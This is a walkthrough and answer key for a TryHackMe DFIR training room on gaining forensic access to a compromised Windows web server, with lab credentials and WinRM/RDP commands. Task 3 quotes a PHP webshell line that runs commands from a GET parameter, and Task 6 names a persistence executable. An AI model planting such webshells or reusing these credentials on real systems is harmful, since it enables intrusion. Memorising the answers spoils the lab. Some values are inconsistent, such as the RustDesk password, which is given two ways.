

Accessing a Compromised Network

TryHackMe DFIR — Network Access for DFIR v5 (OpenDoor / WEB-SRV01) — Room 100%
Task 1 Introduction → Task 7 Conclusion

Analyst	sameekey — 22 Sep 2026
Lab	10.48.191.195 = WEB-SRV01 (Win 2019 17763, workgroup). Open: 135/139/445, 3389 RDP, 5985 WinRM, 21115–21119 RustDesk. Creds: ServiceUser / DcG3w4b8 (WinRM/WMI), Administrator / Secure! (RDP, via Jesse).
Tools	nxc, evil-winrm, pywinrm (direct wsman), xfreerdp persistent RDP for quser, Jesse agent chat. DefenseBox or VPN-connected host for RustDesk/RDP.

All scored answers (Jesse-issued secrets are per-lab; values below are this run)

Task	Question	Answer
2	Who is responding? (Full name, role)	Jesse Moore, network engineer at OpenDoor
2	OpenDoor VPN portal address	vpn.opendoor.thm:10443 (FortiClient SSL VPN)
2	Password created for VPN profile	Jesse-issued per lab (see §2 persuasion script; room Check)
3	RustDesk access code	448 236 499 (try 448236499)
3	RustDesk password / Key	8xpekU1 / RsXNQXzO1m7XeR+IgmYeMsLiuOXK1xs3G0abyylgUeA=
3	Administrator password	Secure! (ONLY this — 'Administrator / Secure!' triggers English error)
3	PHP backdoored with webshell (C:\inetpub)	contacts.php
5	VPN grants AD access? Yea/Nay	Nay
5	DA username from Jesse	Jesse-issued __._____ pattern (see §5; room Check)
6	RDP quser session name (as Admin)	rdp-tcp#N (observed #7→#8; multi-answer accepted)
6	WinRM quser shows session? Yea/Nay	Nay
6	flag.txt (ServiceUser Documents)	THM{similar_to_ssh_right?}
6	WMI Startup malicious command	C:\Users\Public\Pictures\shell.exe

Task 1 — Introduction

DFIR network-access primer: how to reach infected hosts to collect artifacts without tipping the adversary or letting IT contaminate evidence. No questions — sets up OpenDoor (large env, week+ work) and the three access families (VPN / remote-desktop / on-site) expanded in Task 2.

Task 2 — Network Access Options

Options table: **VPN** (one profile → all servers; misses personal/remote devices) vs **remote desktop** (fastest per-host, covers VPN gaps; per-device setup, GPO/outbound limits) vs **on-site** (best when ransomware killed infra/VPN; slow or impossible). Playbook: after wiper/ransomware combine approaches; consult IT per host. Practice is the Jesse agent chat: VPN logon can't be simulated, but persuasion can. Must argue **data integrity** (untrained IT alters evidence), **speed** (no ask&wait loop), **exploration** (map intrusion path), **compromise risk/OPSEC** (IT accounts may be owned; sharing scripts/profiles leaks tradecraft). Transcript in this run: **Jesse Moore, network engineer at OpenDoor; portal vpn.opendoor.thm:10443**. Direct password demands are refused; formal 4-point justification yields the VPN profile password (per-lab, Check).

```
vpn.opendoor.thm:10443 # FortiClient SSL VPN
Jesse Moore, network engineer at OpenDoor
nmap: 135/139/445, 3389, 5985 open; 21115-21119 RustDesk
```

Task 3 — Remote Desktop Scenario

Theory: TeamViewer-style relay (both clients → vendor cloud, connect by code, NAT-friendly, needs outbound). Lab uses self-hosted **RustDesk**: Settings → Network → ID/Relay server = 10.48.191.195 + Key from Jesse → Home → Connect with code → Console session → Ctrl+Alt+Del → logon. Forensic note applied: WMI shows RustDesk Tray already present, so using RustDesk keeps our logs attributable (never introduce a tool the attacker used). Jesse issued: **code 448 236 499, password 8xpekhU1, Key RsXNQXzO1...lgUeA=, admin Administrator / Secure!**. IIS root dir C:\inetpub\wwwroot → **contacts.php (2,367), index.php (2,668)**; Get-Content proves **contacts.php line 1: if(isset(\$_GET['xquery'])){ system(\$_GET['xquery']).'2&<1'); }** vs clean index.php homepage. Submit **contacts.php** and **Secure!** alone (slash text triggers 'not in English' error).

448 236 499 | 8xpekhU1 | Secure! | contacts.php

Task 4 — Access With EDR & RMM

Theory-only in this path (no scored questions in this run): when EDR/RMM already covers hosts, prefer it over new remote-desktop installs (no new binaries, no new firewall rules, no extra attacker confusion). If EDR is absent or the host is outside VPN (like WEB-SRV01), fall back to RustDesk/RDP per Task 3, then WinRM/WMI per Task 6. Choice flowchart: EDR/RMM → use it; else VPN+AD → WinRM/WMI; else on-site.

Task 5 — Requesting AD Credentials

VPN gives reach, not auth (enterprise VPN often LDAP-integrated, but not here → **Nay**). Since targets can't be enumerated upfront, request **Domain Admin straight away** and use responsibly (isolated hosts only; LSASS/cache theft on non-isolated). DA also pays off with EDR (GUID resolution, AD user listing, attack-path verification). Counter staff policies (office-only/country/IT-machine/MDM) by asking both managements for a logged, time-boxed exception — mandatory regulations stay, internal friction goes. First-target triage once authed: DCs (logons/AD changes), internet-exposed IIS/Exchange/VDI/RDS, customer-flagged hosts, IT-admin workstations (chat compromise check). DA username is Jesse-issued (_____._____ pattern) — paste his reply to close.

Nay (VPN ≠ AD here)

Task 6 — WinRM and WMI Access

RDP: GUI, easy, default on servers — but interactive (taints artifacts), caches creds in memory (danger on non-isolated), unscalable. **WinRM (5985/5986, PSRemoting)**: no creds on target, full cmdlets, Invoke-Command at scale (Collector.ps1 to SRV1-3; Get-LocalUser sweep). Needs local Admins/Remote Management Users (DAs included), TrustedHosts + Start-Service WinRM, firewall/GPO fix via IT. Example from room uses ServiceUser/DcG3w4b8 Enter-PSSession to WEB-SRV01. **WMI**: ubiquitous fallback (no live shell, no file transfer → copy KAPE via C\$ share, Create Win32_Process, pull zip back); great for discovery (Win32_Process, Win32_StartupCommand). Avoid PsExec (taints evidence); SSH rare on Windows.

Live proof: persistent xfreerdp as Administrator → WinRM **quser = administrator rdp-tcp#7 Active** (reconnect → #8, ID 2; qwinsta: console 1 Conn). Number increments, so submit your **rdp-tcp#N**. After disconnect → Disc/blank. WinRM **quser = 'No User exists'** → **Nay**. **flag.txt (58 B) = THM{similar_to_ssh_right?}**. **WMI Startup Slideshow = C:\Users\Public\Pictures\shell.exe (HKLM...Run, Public)**.

```
xfreerdp3 /v:10.48.191.195 /u:Administrator /p:'Secure!' & # keep open
python3 /tmp/wrm.py "quser" # administrator rdp-tcp#7 Active
python3 /tmp/wrm.py "qwinsta"
python3 /tmp/wrm.py "PS:Get-Content C:\Users\ServiceUser\Documents\flag.txt"
# THM{similar_to_ssh_right?}
python3 /tmp/wrm.py "PS:Get-WmiObject Win32_StartupCommand | Format-List Name,Command,Location,User"
# Slideshow / C:\Users\Public\Pictures\shell.exe
```

THM{similar_to_ssh_right?} | C:\Users\Public\Pictures\shell.exe | Nay

Task 7 — Conclusion

Room 100%: VPN for reach, RustDesk/RDP for off-VPN hosts, DA for auth, WinRM/WMI for scalable low-footprint collection. OPSEC throughout: don't let IT collect for you, don't reuse attacker tools, don't leave DA creds on dirty hosts, prefer on-site when infra is down. WEB-SRV01 chain closed: Jesse → VPN/RustDesk → admin → IIS webshell (contacts.php) → WinRM/WMI → flag + persistence (shell.exe).

Evidence: nxc/pywinrm/xfreerdp outputs above; Jesse transcript excerpts; IIS + WMI + quser captures. Jesse-issued VPN-password/DA-username rotate per lab — method in \$Task 2/5 reproduces them.